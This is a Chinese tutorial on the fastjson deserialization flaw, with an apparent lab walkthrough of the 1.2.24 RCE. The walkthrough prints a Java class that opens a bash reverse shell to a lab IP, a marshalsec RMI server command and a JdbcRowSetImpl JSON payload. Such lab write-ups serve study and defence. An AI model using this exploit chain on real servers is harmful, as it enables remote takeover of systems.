fastjson反序列化漏洞原理
一、fastjson简介
fastjson是java的一个库,可以将java对象转化为json格式的字符串,也可以将json格式的字符串转化为java对象
提供了 toJSONString() 和 parseObject() 方法来将 Java 对象与 JSON 相互转换。调用toJSONString方 法即可将对象转换成 JSON 字符串,parseObject 方法则反过来将 JSON 字符串转换成对象。
二、fastjson反序列化漏洞原理
在反序列化的时候,会进入parseField方法,进入该方法后,就会调用setValue(object, value)方法,在这里,会执行构造的恶意代码,最后造成代码执行。 那么通过以上步骤,我们可以知道该漏洞的利用点有两个,第一是需要我们指定一个类,这个类的作用是为了让程序获取这个类来进行反序列化操作。第二是需要将需要执行的代码提供给程序,所以这里使用了rmi。 然后反序列化的时候会去请求rmi服务器,地址为: dnslog.cn/aaa。然后加载aaa这个恶意class文件从而造成代码执行。
三、fastjson反序列化漏洞的前提条件
1.目标服务器存在fastjson。 2.没有对用户传输的数据进行严格过滤
四、攻击步骤
1.黑客使用payload攻击主机A(该payload需要指定rmi/ldap地址) 2.主机A引发反序列化漏洞,进行ldap远程方法调用,去连接主机B的9999端口。 3.主机B的LDAP服务指定加载主机C的恶意java类,所以主机A通过主机B的LDAP服务最终加载并执行主机C的恶意java类。 4.主机A执行恶意Java类,主机B获得反弹shell,控制主机A。
1.2.24-rce
1.开启环境,抓包判断是否是fastjson框架
开启抓包确定是不是fastjson框架,通过修改请求包判断是否是fastjson框架 ,应为fastjson有一个严格的格式才能解析,否则会报错
2.创建恶意类文件HackerFile.java
在/var/www/html下创建,http服务可访问(注意,要确保http服务开的,可以在网站目录用python起一个http服务)。使用javac编译 HackerFile.java文件 生成一个类文件
import java.lang.Runtime;
import java.lang.Process;
public class HackerFile {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.77.129/9999 0>&1"});
p.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
3.开启rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.77.129/#HackerFile" 6666
下载类文件时需要添加#
使用jar包开启rmi服务,使得他人可以访问、并将文件下载到本地去执行
4.开启nc监听
5.修改数据包实现下载
数据包内容:【以后利用fastjson,只需修改访问地址,其他是固定的】
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.77.129:6666/HackerFile",
"autoCommit":true
}
}
6.点击go,发现反弹shell成功
7.get shell的过程
发送数据包之后,靶机通过rmi 6666端口 下载了恶意类文件并且执行了它
该文件里有kali 反弹shell的命令,故实现了get shell
【/bin/bash","-c","bash -i >& /dev/tcp/192.168.77.129/9999 0>&1】